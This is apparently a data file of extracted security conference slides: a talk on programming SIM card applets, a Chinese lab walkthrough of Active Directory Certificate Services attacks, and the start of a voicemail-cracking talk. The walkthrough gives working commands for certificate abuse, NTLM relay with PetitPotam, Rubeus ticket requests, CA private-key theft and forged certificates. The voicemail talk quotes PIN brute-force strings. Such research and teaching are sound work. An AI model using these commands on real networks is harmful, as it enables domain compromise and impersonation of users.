text
stringlengths
100
9.93M
category
stringclasses
11 values
Karl Koscher – @supersat Eric Butler – @codebutler Writing, building, loading, and using code on SIM Cards.  Toorcamp 2012!  Hacker camp on WA coast  Project: Run a GSM network.  My task: Procure SIM Cards. 2  “Subscriber Identity Module”  Contains an identity (IMSI) and symmetric key (Ki).  “Secure” (key can’t be extracted; can’t be cloned)  Used by GSM carriers and now LTE (Verizon)  Can also run apps?! 3  Long ago…  Applications live on your SIM card.  Phones are dumb hosts – UI and connectivity only.  Telcos own the SIMs, so they control the applications.  Mostly obsolete today? 4 Still around decade later, mostly unchanged. 5 SIM Cards are mysterious little computers in your pocket that you don’t control. 6  Needed SIMs for Toorcamp anyway, why not get SIMs that supported apps?  This ended up taking many months.  Very little documentation about all this.  After lots of research, finally figured out how to program the *#$!ing things.  Learn from our misery. 7 8 Chip Field Description Generic Description 64K JavaCard 2.1.1 WIB1.3 USIM Platform Atmel AT90SC25672RU CPU Architecture 8-bit AVR Technology 0.15uM CMOS ROM 256KB ROM Program Memory Non-volatile memory 72 KB EEPROM RAM 6 KB Internal operating frequency Between 20 & 30 MHz Endurance Typically 500 000 write/erase cycles 9  Runs on SIM card CPU, separate from phone.  Connected directly to baseband.  Can be silently remotely installed (by carrier).  Supported by most carrier SIMs.  Cards support multiple apps, selected by AIDs  Apps managed by a “master” card manager app  GSM “SIM” is actually just an applet on a UICC (the physical card). 10  Rudimentary UI – display text, menus, play tones, read input.  Works with most modern smartphones.  Dumbphones too.  Launch URLs.  Send SMSes, initiate calls, initiate and use data services.  Receive and act on events, such as call connected, call disconnected, etc.  Interact with the rest of the SIM card.  Run arbitrary AT commands on the phone. 11 12  Not very common in US  But used widely in the developing world  Mobile banking, etc.  Smart Cards – Physical connection between SIM and phone, same as any smart card.  Java Card – Java for Smart Cards. Easiest way to write applets.  SIM Toolkit (STK) API – Interface between applets and phone UI.  GlobalPlatform – Standard for loading and managing applications on a card. 13  Designed for secure storage and computation  Communication is via packets called APDUs 14 Class MSB LSB Instruction Param 1 Param 2 Data Length Length Expected Optional Command Dependent  It’s Java!  … not really.  No garbage collection.  No chars, no strings, no floats, no multi-dimensional arrays.  ints are optional.  No standard API, no threads, etc.  Verification can be offloaded.  But there are Exceptions!  Instance and class variables are saved in EEPROM, which has limited write cycles. 15  There are specialized commercial IDEs for this, but you can do without.  Download the Java Card Development Kit from Oracle (it’s free).  If you’re using Eclipse, remove the JRE system library and add the Java Card library  We also wrote tools to make things easier 16  App is loaded onto the card.  App registers itself with the SIM Toolkit API.  Phone informs STK of its capabilities.  STK informs the phone about registered apps.  Selection of an app will trigger an event to be delivered to the app.  App can then send UI requests back to phone. 17 18 19 public class CryptoChallenge extends Applet implements ToolkitConstants, ToolkitInterface { private byte hintsGiven; private byte mainMenuItem; private static byte[] menuItemText = new byte[] { 'C', 'r','e', 'd', 'i', 't', 's' }; private static byte[] needHints = new byte[] { 'N', 'e', 'e', 'd', ' ', 's', 'o', 'm', 'e', ' ', 'h', 'i', 'n', 't', 's', '?'}; private static byte[] yes = new byte[] { 'Y', 'e', 's' }; private static byte[] no = new byte[] { 'N', 'o' }; private static byte[] hints = new byte[] { 'H', 'i', 'n', 't', 's' }; 20 private CryptoChallenge() { hintsGiven = 0; ToolkitRegistry reg = ToolkitRegistry.getEntry(); mainMenuItem = reg.initMenuEntry(menuItemText, (short)0, (short)menuItemText.length, PRO_CMD_SELECT_ITEM, false, (byte)0, (short)0); } public static void install(byte[] bArray, short bOffset, byte bLength) { CryptoChallenge applet = new CryptoChallenge(); applet.register(); } 21 public void processToolkit(byte event) throws ToolkitException { EnvelopeHandler envHdlr = EnvelopeHandler.getTheHandler(); if (event == EVENT_MENU_SELECTION) { byte selectedItemId = envHdlr.getItemIdentifier(); if (selectedItemId == mainMenuItem) { ProactiveHandler proHdlr = ProactiveHandler.getTheHandler(); if (hintsGiven == 0) { proHdlr.initDisplayText((byte)0, DCS_8_BIT_DATA, credits, (short)0, (short)(credits.length)); proHdlr.send(); hintsGiven = (byte)0x80; return; } 22 proHdlr.init(PRO_CMD_SELECT_ITEM, (byte)0x00, (byte)ToolkitConstants.DEV_ID_ME); proHdlr.appendTLV((byte)TAG_ALPHA_IDENTIFIER, needHints, (short)0x0000, (short)needHints.length); proHdlr.appendTLV((byte)TAG_ITEM, (byte)1, yes, (short)0x0000, (short)yes.length); proHdlr.appendTLV((byte)TAG_ITEM, (byte)2, no, (short)0x0000, (short)no.length); proHdlr.send(); ProactiveResponseHandler rspHdlr = ProactiveResponseHandler.getTheHandler(); byte selItemId = rspHdlr.getItemIdentifier(); if (selItemId == 2) { // No proHdlr.initDisplayText((byte)0, DCS_8_BIT_DATA, credits, (short)0, (short)(credits.length)); proHdlr.send(); } 23 public void process(APDU apdu) throws ISOException { // ignore the applet select command dispached to the process if (selectingApplet()) return; byte[] buffer = apdu.getBuffer(); if (buffer[ISO7816.OFFSET_CLA] != (byte)0x80) ISOException.throwIt(ISO7816.SW_CLA_NOT_SUPPORTED); if (buffer[ISO7816.OFFSET_INS] == 0x61) { buffer[0] = hintsGiven; apdu.setOutgoingAndSend((short)0, (short)1); return; } ISOException.throwIt(ISO7816.SW_INS_NOT_SUPPORTED); } 24  You must target Java 1.1 bytecode! 1.3 source code compatibility is okay. $ javac -cp javacard/lib/api21.jar \ -target 1.1 \ -source 1.3 \ HelloApplet.java 25  After you have your .class files, you need to convert them to Java Card bytecode.  Use the converter tool in the SDK  Need to specify application ID (more on this in a minute), API export directory, etc.  java -jar javacard/bin/converter.jar \ -exportpath javacard/api21_export_files \ -applet 0xde:0xfc:0x09:0x20:0x13:0x01 \ com.example.HelloCard.HelloApplet \ com.example.HelloCard 0xde:0xfc:0x09:0x20:0x13 1.0 26  We also have Makefiles for your convenience!  http://simhacks.github.io  Converter outputs a CAP file, which is a ZIP archive of CAP components (JavaCard bytecode). 27  Two types of readers:  PCSC (PC/Smartcard API)  Serial  Doesn’t really matter, but PCSC will be more flexible.  All readers are the same, so get a cheap one.  I like the SCR3500 because it folds up ($8 on ebay). 28  Had an applet ready to go, couldn’t get it loaded!  Tried using popular GPShell tool, no success.  SIM vendor had recommended software  Was no longer available anywhere.  They wanted $600 (and they don’t even own it…) 29 30  A standard for loading and managing apps on Java Cards.  Defines the card manager app.  Protocols and commands used.  Authentication and encryption.  Also deals with off-card responsibilities.  e.g. issuer needs to verify applet binaries. 31  All apps are loaded and authorized by the Issuer Security Domain – in practice this means that you can’t load apps onto a card you didn’t issue yourself :(  … or maybe you can – see Karsten Nohl’s work!  On pure GlobalPlatform cards, the ISD is the default app on pre-personalized cards  Accessing it on our SIM cards is a lot harder 32  Installing an app is a two-step process:  Load the binary (LOAD)  Instantiate the app (INSTALL)  Loading an app first requires authorization through the INSTALL for LOAD command  The individual CAP components are concatenated together and sent in blocks with LOAD  There are THREE AIDs involved:  Application AID – associated with the load file  Module AID – associated with the main class  Instance AID – used to select a particular instance 33  The only way to talk to the SIM’s ISD is through the over-the-air update mechanism  i.e. SMS packets  We don’t have to actually send SMSes, but we need to generate commands to the card with SMS packets 34  CAT ENVELOPE (A0 C2)  SMS-PP Download (D1) ▪ Device Identities ▪ SMS-TPDU (GSM 03.40) ▪ Header ▪ User Data  Header  Command Packet  Header (Security parameters, app selection)  Uses a 3 byte TAR ID  Holy shit powerpoint supports this much nesting  This is the actual limit  APDU 35  In case you missed it, you can use this exact mechanism to remotely send APDUs to a SIM card(!!!)  Cell broadcast can also be used  Normally you need to authenticate to do this  Karsten Nohl: Many errors come back with crypto, which can be used to brute-force the DES key 36  Python  Works on OSX, Linux, Windows  Load: $ shadysim.py \ --pcsc \ -l CryptoChallenge.cap 37  Install: $ shadysim.py \ --pcsc \ -i CryptoChallenge.cap \ --module-aid d07002ca4490cc01 \ --instance-aid d07002ca4490cc0101 \ --enable-sim-toolkit \ --max-menu-entries 1 \ --max-menu-entry-text 10 \ --nonvolatile-memory-required 0100 \ --volatile-memory-for-install 0100 38  List apps (not instances): $ shadysim.py \ --pcsc \ -t 39 40  Turn off phone  Take out SIM card (and often battery too).  Put SIM card into reader.  Load new code.  Take SIM card out of reader.  Place back into phone (and replace battery).  Wait for phone to boot.  See if code works. 41  Can we do any better? 42  SEEK: Open-source Android SDK for smart cards.  Includes patches to Android emulator for SIM access using USB PCSC reader!  Avoid hassle of swapping SIM between computer and phone. 43  Most radio interfaces don’t provide support for this.  Remote SIM Access Protocol may provide solution.  Reverse-engineered protocol/auth scheme.  Need to write app that sends/receives APDUs. 44  STK apps are pretty limited, but there is potential for awesomeness  SIM card botnet?  Integrating Android apps with SIM applets  SSH private keys secured on your SIM?  Secure BitCoin transactions?  What else? ▪ Of course, we need carriers to get on board  Android app for OTA installs? 45  SWP: Single Wire Protocol  Direct connection between SIM card and NFC controller.  SIM Card acts as “secure element”.  Used by ISIS (mobile payment system from telcos/banks)  Attempt by carriers to regain control lost from app stores. 46  Chip inside most android phones today.  Typically part of the NFC controller  Same technology as SIM cards.  Used by Google Wallet. More info at: http://nelenkov.blogspot.com/2012/08/accessing-embedded-secure-element-in.html 47  We’ve made it easy to get started.  Few hardware requirements (<$20).  See us for SIM cards (EFF donation)! http://simhacks.github.io/  These slides.  Much more technical details.  JavaCard makefiles.  Scripts for managing applets.  Patched Android emulator/system image.  Much more! 48 49 Please contact us with any questions.  Karl Koscher – @supersat  Eric Butler – @codebutler
pdf
1 Certified Pre-Owned 背景 什么是PKI? Active Directory 证书服务 (AD CS) AD CS ⻆⾊包括以下⻆⾊服务: 认证机构 证书颁发机构 Web 注册 Online Responder ⽹络设备注册服务 (NDES) 证书注册 Web 服务 (CES) 证书注册策略 Web 服务 常⻅的CA 层次结构 环境搭建 ESCN复现-域管理员的提权 攻击路径 漏洞分析 漏洞利⽤ ESCO 攻击路径 漏洞复现 ESCP 攻击路径 漏洞复现 ESCQ ESCS ESCT ESCV ESCW 漏洞分析 2 漏洞复现 域持久性 漏洞分析 漏洞利⽤ Certified Pre-Owned是安全研究员@(Will Schroeder和Lee Christensen)在6⽉17号提出的针对 Active Directory 证书服务的⼀个攻击⼿法,并于8⽉5⽇在Black Hat 2021中进⾏展示。 https://www.blackhat.com/us-21/briefings/schedule/#certified-pre-owned- abusing-active-directory-certificate-services-23168 也是本⼈⽐较感兴趣的⼀个议题。 参考资料: AD CS ⽩⽪书 https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf PKI 是软件、加密技术、流程和服务的组合,使组织能够保护其数据、通信和业务交易。PKI 依赖于经 过身份验证的⽤户和受信任资源之间的数字证书交换。可以使⽤证书来保护数据并管理来⾃组织内外的 ⽤户和计算机的身份凭证。 背景 什么是PKI? 3 Active Directory 证书服务 (AD CS) 提供公钥基础结构 (PKI) 功能,该功能⽀持 Windows 域上的身份 和其他安全功能(即⽂件加密、电⼦邮件加密和⽹络流量加密)。它可以为组织的内部使⽤创建、验证 和撤销公钥证书。 根据 Microsoft 的说法,AD CS 是⼀个“服务器⻆⾊,它允许构建公钥基础结构 (PKI) 并为组织提供公 钥加密、数字证书和数字签名功能”。  AD CS Windows Server ⻆⾊是实施 PKI 解决⽅案。 AD CS 提供所有与 PKI 相关的组件作为⻆⾊服务。每个⻆⾊服务负责证书基础架构的特定部分,同时 协同⼯作以形成完整的解决⽅案。 CA 的主要⽬的是颁发证书、撤销证书以及发布授权信息访问(AIA)和撤销信息。您部署的第⼀个 CA 将成为您内部 PKI 的根。随后,您可以部署位于 PKI 层次结构中的从属 CA,根 CA 位于其顶部。从属 CA 隐式信任根 CA,并隐含地信任它颁发的证书。 此组件提供了⼀种在⽤户使⽤未加⼊域或运⾏ Windows 以外的操作系统的设备的情况下颁发和续订证 书的⽅法。 可以使⽤此组件来配置和管理在线证书状态协议 (OCSP) 验证和吊销检查。在线响应程序解码特定证书 的吊销状态请求,评估这些证书的状态,并返回具有请求的证书状态信息的签名响应。 通过该组件,路由器、交换机和其他⽹络设备可以从 AD CS 获取证书。 Active Directory 证书服务 (AD CS) AD CS ⻆⾊包括以下⻆⾊服务: 认证机构 证书颁发机构 Web 注册 Online Responder ⽹络设备注册服务 (NDES) 4 此组件⽤作运⾏ Windows 的计算机和 CA 之间的代理客户端。CES 使⽤户、计算机或应⽤程序能够通 过使⽤ Web 服务连接到 CA: 请求、更新和安装颁发的证书。 检索证书吊销列表 (CRL)。 下载根证书。 通过互联⽹或跨森林注册。 为属于不受信任的 AD DS 域或未加⼊域的计算机⾃动续订证书。 该组件使⽤户能够获取证书注册策略信息。结合CES,它可以在⽤户设备未加⼊域或⽆法连接到域控制 器的场景中实现基于策略的证书注册。 证书注册 Web 服务 (CES) ○ ○ ○ ○ ○ 证书注册策略 Web 服务 5 常⻅的CA 层次结构有两个级别,根 CA 位于顶级,下级 CA 在第⼆级颁发。通常,使⽤根 CA 来构建 CA 层次结构。在这种情况下,根 CA 保持离线状态,依赖从属 CA 颁发和管理证书。 ⼀些更复杂的 CA 设计包括: 常⻅的CA 层次结构 6 具有策略 CA 的 CA 层次结构。策略 CA 是从属 CA,它们直接位于根 CA 之下,并位于 CA 层次 结构中的其他从属 CA 之上。使⽤策略 CA 向其从属 CA 颁发 CA 证书。 具有交叉认证信任的 CA 层次结构。在这种情况下,当⼀个层次结构中的 CA 向另⼀个层次结构中 的 CA 颁发交叉认证的 CA 证书时,两个独⽴的 CA 层次结构会互操作。执⾏此操作时,将在不同 CA 层次结构之间建⽴相互信任。 ● ● 环境搭建 7 在DC上安装证书服务。 勾选证书颁发机构(实际情况下有时也会勾选web服务,因为有时会⽤到其web服务的⼀些功能,这⾥仅 勾选web服务) 进⼊AD CS进⾏配置 8 选择企业CA 选择根CA 9 创建新的私钥,然后⼀路默认就⾏ 辅助域控搭建 这⾥使⽤的是windows server 2012做辅助域控 10 从主域复制 11 如果攻击者可以在证书服务请求 (CSR) 中指定主题替代名称 (SAN),则请求者可以请求任 何⼈(例如域管理员⽤户)的证书 想要滥⽤这种错误配置,必须满⾜以下条件: 1. 企业 CA 授予低特权⽤户注册权。 2. 经理批准请求的证书是禁⽤的 3. ⽆需授权签名 4. 过于宽松的证书模板授予低特权⽤户注册权 5. 证书模板定义启⽤身份验证的 EKUs 6. 证书模板允许请求者指定其他主题替代名称(主题名称) 具体在AD DC中体现在证书模板中的设置错误: 错误的配置在: ESC1复现-域管理员的提权 攻击路径 漏洞分析 12 然后在“安全”中, 13 还有在”请求处理中“: 这些设置允许低权限⽤户使⽤任意SAN请求证书,从⽽允许低权限⽤户通过Kerberos或SChannel作为 域中的任何主体进⾏身份验证。 如果Web服务器模板具有CT\标志\注册者\提供启⽤的\主题标志,然后如果IT管理员添加“客户端身份 验证”或“智能卡登录”eku,则在GUI未发出警告的情况下发⽣易受攻击的情况。 综上所述,如果存在允许这些设置的已发布证书模板,攻击者可以作为环境中的任何⼈(包括域 管理员(或域控制器))请求证书,并使⽤该证书为所述⽤户获取合法TGT。 使⽤漏洞作者发布的测试⼯具。 漏洞利⽤ 14 https://github.com/GhostPack/PSPKIAudit 在域主机上运⾏ 我们重点注意 Client Authentication (OID 1.3.6.1.5.5.7.3.2) PKINIT Client Authentication (1.3.6.1.5.2.3.4) Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2) Any Purpose (OID 2.5.29.37.0) LDAP查询语句如下: 1 (&(objectclass=pkicertificatetemplate)(!(mspki‐ enrollmentflag:1.2.840.113 556.1.4.804:=2))(|(mspki‐ra‐signature=0)(! (mspki‐rasignature=*)))(|(pkiexte ndedkeyusage=1.3.6.1.4.1.311.20.2.2) (pkiextend edkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4) (pkiexte ndedkeyusage=2.5.29.37.0)(! (pkiextendedkeyusage=*)))(mspkicertificate‐name‐ flag:1.2.840.113556.1.4.804:=1)) 那么我们⾸先申请⼀张证书,并将upn名称改成域管 15 查看⼀下证书, 16 certutil -user -store My 查看⼀下本地证书信息 导出证书: certutil -user -exportPFX fb490c8c9b8bdd3fcb280e568cbcb0ca0b3e13c1 adcs.pfx -exportPFX 为证书哈希(sha1) 然后使⽤rubeus攻击,利⽤Rubeus请求票证,并将⽣成的票证⽤于PTT 17 Rubeus.exe asktgt /user:administrator /certificate:C:\Users\text.NB\Desktop\PSPKIAudit-main\PSPKIAudit- main\adcs.pfx /password:123223 /ptt /user:模拟的账户 /certificate:申请的证书 /password:证书密码 成功获取域控权 查看本地缓存的票证 klist 18 攻击者可以使⽤带有任何⽬的 EKU 功能的证书进⾏任何⽬的,包括客户端和服务器身份验证。攻击者 也可以使⽤⽆ EKUs 的证书来进⾏任何⽬的,也可以签署新证书。 因此,使⽤从属 CA 证书,攻击者可以指定新证书中的任意 EKUs 或字段。 在ESC1中的条件下需要满⾜下⾯的条件: 证书模板定义了任何⽬的EKUS或没有EKU 1. 企业 CA 授予低特权⽤户注册权。 2. 批准请求的证书是禁⽤的 3. ⽆需授权签名 4. 过于宽松的证书模板授予低特权⽤户注册权 5. 证书模板定义了任何⽬的EKUS或没有EKU 证书请求代理 EKU (OID 1.3.6.1.4.1.311.20.2.1) 6. 证书模板允许请求者指定其他主题替代名称(主题名称) ESC2 攻击路径 漏洞复现 19 使⽤公开的⼯具可以看到存在漏洞; 20 利⽤点:攻击者仍然可以使⽤任何 EKU 和任意证书值创建新证书,其中有很多攻击者可能会滥⽤(例 如,代码签名、服务器身份验证等) LDAP查询 可以使⽤以下LDAP查询来枚举与此场景匹配的模板: &(objectclass=pkicertificatetemplate)(!(mspki- enrollment flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(! (mspki-ra signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(! (pkiextendedkeyusag e=*)))) 个⼈觉得这个利⽤⾯并不⼤。 证书请求代理 EKU允许委托⼈代表其他⽤户申请证书。对于任何注册此模板的⽤户,⽣成的证书可 ⽤于代表任何⽤户共同签署请求。 利⽤条件跟ESC1差不多,还需要:应⽤策略开启“证书申请代理” ESC3 攻击路径 漏洞复现 21 使⽤公开的⼯具可以看到存在漏洞; 证书请求代理 EKU (OID 1.3.6.1.4.1.311.20.2.1) 在Microsoft ⽂档中称为“注册代理” ,允许委托⼈代表 另⼀个⽤户注册证书。对于注册此类模板的任何⼈,⽣成的证书可⽤于代表任何⽤户、任何架构版本 1 模板或任何需要适当“授权签名/应⽤程序策略”的架构版本 2+ 模板共同签署请求发⾏要求。 微软⽂档: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms- cersod/97f47d4c-2901-41fa-9616-96b94e1b5435 22 已在 Active Directory 中定义了⼀个证书模板,该模板具有msPKI-RA-Application- Policies 属性 集,并带有 增强的密钥使⽤ (EKU) ;例如,1.3.6.1.4.1.311.20.2.1, 证书请求代理。证书模板还在 msPKI-Enrollment-Flag 字段上设置了 0x00000040 (CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT) 位。 注册代理具有包含 EKU 的证书,该 EKU 具有与先前模板的 msPKI-RA-Application- Policies 属性中定义的相同对象标识符 (OID) 。 那么我们可以代表其他⽤户申请证书 CA 确定与请求对应的证书模板需要注册代理的签名。它验证签名并验证与签名关联的证书是否具有所 需的 EKU,如 [MS-WCCE] 部分。验证完成后,CA 颁发证书并将其发送给注册代理。 ● ● 23 证书模板是活动⽬录中的可安全对象,这意味着在其"安全描述符"中,它们指定哪些活动⽬录委托⼈对 模板具有特定权利。如果允许意外或⾮特权的委托⼈编辑安全设置,则模板将被视为在访问控制级别上 配置错误。攻击者可能会将错误配置推送到模板,从⽽允许他们泄露活动⽬录域的元素。 Chris Falta 讨论了⼀种使⽤此错误配置来模拟域名⽤户、修改模板以允许虚拟智能卡注册、获取证书然 后重置模板的⽅法。 https://github.com/cfalta/PoshADCS ESC4 24 如果模板的访问控制条⽬ (ACE) 允许意外的或没有特权的 Active Directory 主体编辑模板中的敏感安 全设置,则我们说模板在访问控制级别配置错误。也就是说,如果攻击者能够将访问链接到⼀个点,他 们可以主动将错误配置推送到⼀个不容易受到攻击的模板(例如,通过启⽤模板的 mspki-certificate- name-flag 属性中的 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 位允许域身份验证) 易受攻击的PKI对象访问控制,基于ACL的相互连接关系的web是⼴泛的,它可以影响adcs的安全 性。证书模板之外的多个对象和证书颁发机构本身可能会对整个AD CS系统产⽣安全影响。 这些可能性包括(但不限于): ● CA服务器的AD计算机对象(即通过S4U2Self或S4U2Proxy进⾏破坏) ● CA服务器的RPC/DCOM服务器 ESC5 25 ● 容器CN=Public Key Services、CN=Services、CN=Configuration、DC=<COMPANY>、DC= <COM>中的任何⼦代AD对象或容器(例如,证书模板容器、证书颁发机构容器、NTAuthCertificates 对象、注册服务容器等) 如果低权限攻击者可以控制其中任何⼀个,则该攻击可能会危及PKI系统。 这个没什么好说的。 https://cqureacademy.com/blog/enhanced-key-usage https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows- server-2012-R2-and-2012/dn786426(v=ws.11)#controlling-user-added-subject- alternative-names https://www.keyfactor.com/blog/hidden-dangers-certificate-subject- alternative-names-sans/ 证书机构还可以通过证书认证机构命令访问权限。 有两个重要的: 1. 管理卡(CA 管理员 2. 管理认证(经理批准)权限。这些权限应进⾏审核。 管理CA权限允许委托⼈执⾏多项⾏政操作,包括修改配置数据。管理认证权限允许⽤户批准待定的证 书。 在证书模板之外,证书颁发机构本身具有⼀组权限,以保护各种 CA 操作。这些权限可以从 cert srv . msc 访问,右击⼀个 CA ,选择属性,然后切换到 Security 选项卡 ESC6 ESC7 26 可以使⽤ PSPK I 的模块枚举 Get-CertificationAuthority|Get- CertificationAuthorityAcl 其它细节可以参考: https://social.technet.microsoft.com/wiki/contents/articles/10942.ad-cs- security-guidance.aspx#Roles_and_activities https://www.sysadmins.lv/projects/pspki/enable-policymoduleflag.aspx https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf 法国⼈将其命名为"⼩河⻢"?????or ⼩波坦???? ESC8 27 AD CS 通过管理员可以选择安装的附加服务器⻆⾊⽀持多种基于 HTTP 的注册⽅法: 证书注册 Web 界⾯,通过安装证书颁发机构 Web 注册⻆⾊。 作为在http://<ADCSSERVER>/certsrv/ 上运⾏的 IIS 托管的 ASP Web 注册应⽤程序公开 证书注册服务 (CES),通过安装证书注册 Web 服务⻆⾊。通过安装证书注册策略 Web 服务⻆⾊, 与证书注册策略 (CEP) Web 服务协同⼯作。 ⽹络设备注册服务 (NDES),通过安装⽹络设备注册服 务 ⻆⾊。 这些基于 HTTP 的证书注册接⼝都容易受到 NTLM 中继攻击。 使⽤ NTLM 中继,攻击者可以模拟⼊站 NTLM 身份验证的受害者⽤户。在冒充受害⽤户时,攻击者可 以访问这些 Web 界⾯并根据⽤户或机器证书模板请求客户端身份验证证书。 默认情况下,证书注册服务(CES)、证书注册策略(CEP)Web服务和⽹络设备注册服务(NDES) 通过其授权HTTP头⽀持协商身份验证。协商认证⽀持Kerberos和NTLM;因此,攻击者可以在中继攻 击期间协商到NTLM身份验证。这些web服务在默认情况下不会启⽤HTTPS,但是HTTPS本身不能防⽌ NTLM中继攻击。只有当HTTPS与通道绑定相结合时,才能保护HTTPS服务免受NTLM中继攻击,adcs 没有为IIS上的身份验证启⽤扩展保护,那么并不能启⽤通道绑定。 NTLM中继到AD CS的web注册接⼝为攻击者提供了许多优势。攻击者在执⾏NTLM中继攻击时通常会 遇到的⼀个问题是,当发⽣⼊站身份验证并由攻击者中继时,滥⽤该身份验证的时间很短。特权帐户只 能对攻击者的计算机进⾏⼀次身份验证。攻击者的⼯具可以尝试使NTLM会话尽可能⻓时间处于活动状 态,但该会话通常只能在短时间内使⽤。此外,攻击者⽆法在受限制的NTLM会话中实施身份验证。 攻击者可以通过中继到AD CS web界⾯来解决这些限制。攻击者可以使⽤NTLM中继访问AD CS web界 ⾯,并请求客户端身份验证证书作为受害者帐户。然后,攻击者可以通过Kerberos或Schannel进⾏身份 漏洞分析 28 验证,或者使⽤PKINIT获取受害者帐户的NTLM哈希。 这将使攻击者在很⻓⼀段时间内(即,⽆论证书的有效期有多⻓)对受害者帐户的访问得以巩固,并且 攻击者可以使⽤多个身份验证协议⾃由地对任何服务进⾏身份验证,⽽⽆需NTLM签名。 ⾸先我们需要搭建⼀个辅助域控 漏洞复现 29 选择从主域复制,然后默认就⾏。   repadmin /replsummary 测试⼀下 编译 ExAndroidDev 版本的 NtlmRelayX git clone git clone https://github.com/ExAndroidDev/impacket cd impacket git switch ntlmrelayx-adcs-attack python3 -m pip install . 这⾥使⽤的是kali linux环境 cd examples python3 ntlmrelayx.py -t http://192.168.50.142/certsrv/certfnsh.asp - smb2support --adcs --template 'adcs' 然后使⽤PetitPotam可以强制帐户向受到攻击的计算机进⾏身份验证。 https://github.com/topotam/PetitPotam  PetitPotam.exe <captureServerIP> <targetServerIP> 30 ntlmrelayx成功进⾏relay,并获取到证书信息 Ntlmrelay 将⽣成 CSR 并尝试滥⽤易受攻击的 PKI 模板来⽣成证书 也可以使⽤@Lee Christensen强调了⼀种这样的技术,“printerbug”,它通过强制计算机帐户使⽤MS- RPRN对攻击者的主机进⾏身份验证。 使⽤ Rubeus 获取带有证书的 Kerberos 票证 Rubeus.exe asktgt / user: DC$ / certificate: MIIRFQIBAzCCEN8G /ptt 31 使⽤命令 klist 检查⼀下 可以看到现在拥有⼀张具有特权的票证,可以让DCSyncing DC 32 我们拥有 DCSync 权限,可以转储域控制器中所有⽤户的所有哈希值/ PTH 到 DomainAdmin 由于我们现在拥有 DomainAdmin NTLM 哈希,因此我们只需执⾏Pass The Hash即可使⽤ Domain Admin 哈希。 这可以通过许多不同的⽅式来实现,这⾥我们使⽤ mimikatz pth 在DC中可以看到 默认情况下, AD 启⽤基于证书的身份验证。 域持久性 漏洞分析 33 要使⽤证书进⾏身份验证, CA 必须向账号颁发⼀个包含允许域身份验证的 EKU OID 的证书(例如客 户端身份验证)。 当 账号使⽤证书进⾏身份验证时, AD 在根 CA 和 NT Auth Certificates 验证证书链对象指定的 CA 证书。 Active Directory 企业 CA 与 AD 的身份验证系统挂钩,CA 根证书私钥⽤于签署新颁发的证书。如果 我们窃取了这个私钥,我们是否能够伪造我们⾃⼰的证书,该证书可⽤于(⽆需智能卡)作为组织中的 任何⼈向 Active Directory 进⾏身份验证? 作者命名为⻩⾦证书 证书存在于 CA 服务器中,如果 TPM/HSM 不⽤于基于硬件的保护,那么其私钥受机器 DPAPI 保护。 如果密钥不受硬件保护,Mimikatz 和 SharpDPAPI 可以从 CA 中提取 CA 证书和私钥: 漏洞利⽤ 34 设置密码就可以直接导出了 我们也可以直接使⽤⼯具导出。例如Mimikatz,SharpDPAPI.exe 35 这⾥我使⽤的是SharpDPAPI.exe https://github.com/GhostPack/SharpDPAPI Sha rpDPAPI.exe certificates /machine 使⽤Open SSL 可以直接输出证书 openssl pkcs12 -in ca.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out ca.pfx 对于包含CA证书和私钥的CA.pfx⽂件,伪造证书的⼀种⽅法是将其导⼊单独的脱机CA,并使⽤ MimiKatz的crypto::scauth 函数⽣成和签名证书。 或者,可以⼿动⽣成证书,以确保对每个字段的粒度控制,并消除建⽴单独系统的需要。 36 在另⼀台主机中导⼊证书 37 我们可以使⽤原作者分布的⼯具⼀键伪造证书。 ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "Password123!" -- Subject "CN=User" --SubjectAltName "localadmin@theshire.local" -- NewCertPath localadmin.pfx --NewCertPassword "NewPassword123!" ForgeCert的原理  https://people.eecs.berkeley.edu/~jonah/bc/org/bouncycastle/x509/X509V3Cert ificateGenerator.html 38 伪造证书的过程可以在我们控制的主机中进⾏伪造。 伪造证书时指定的⽬标⽤户需要在 AD 中处于活动状态/启⽤状态,并且能够进⾏身份验证,因为身份 验证交换仍将作为该⽤户进⾏。例如,试图伪造 krbtgt 的证书是⾏不通的。 这个伪造的证书将有效到指定的结束⽇期(这⾥为⼀年),并且只要根 CA 证书有效(⼀般来说证书的 有效期从 5 年开始,但通常延⻓到 10 年以上)。这种滥⽤也不限于普通⽤户帐户也适⽤于机器帐户。 ⽣成的证书可以与Rubeus⼀起使⽤来请求 TGT(和/或检索⽤户的 NTLM;) 39 由于我们没有经过正常的签发流程,这个伪造的证书是不能撤销的。在ADCS中也没办法发现这个伪造 的证书。 ---⽹空对抗中⼼ 李国聪(李⽊)
pdf
Compromising online services by cracking voicemail systems Martin Vigo @martin_vigo | martinvigo.com Martin Vigo Product Security Lead From Galicia, Spain Research | Scuba | Gin tonics @martin_vigo - martinvigo.com Amstrad CPC 6128 Captured while playing “La Abadía del crímen” History Year 1983 “Voice Mail” patent is granted History: hacking voicemail systems • When? • In the 80s • What? • Mostly unused boxes that were part of business or cellular phone systems • Why? • As an alternative to BSS • Used as a "home base" for communication • Provided a safe phone number for phreaks to give out to one another • http://audio.textfiles.com/conferences/PHREAKYBOYS How? back to ezines Hacking Answering Machines 1990 by Predat0r “There is also the old "change the message" secret to make it say something to the effect of this line accepts all toll charges so you can bill third party calls to that number” Hacking Telephone Answering Machines by Doctor Pizz and Cybersperm “You can just enter all 2-digit combinations until you get the right one” … “A more sophisticated and fast way to do this is to take advantage of the fact that such machines typically do not read two numbers at a time, and discard them, but just look for the correct sequence” Hacking AT&T Answering Machines Quick and Dirty by oleBuzzard “Quickly Enter the following string: 1234567898765432135792468642973147419336699 4488552277539596372582838491817161511026203 040506070809001 (this is the shortest string for entering every possible 2-digit combo.)” A Tutorial of Aspen Voice Mailbox Systems, by Slycath “Defaults For ASPEN Are:   (E.G. Box is 888) …. Use Normal Hacking Techniques:   -------------------------------   i.e.   1111     |   \|/   9999   1234   4321” Voicemail security in the 80s • Default 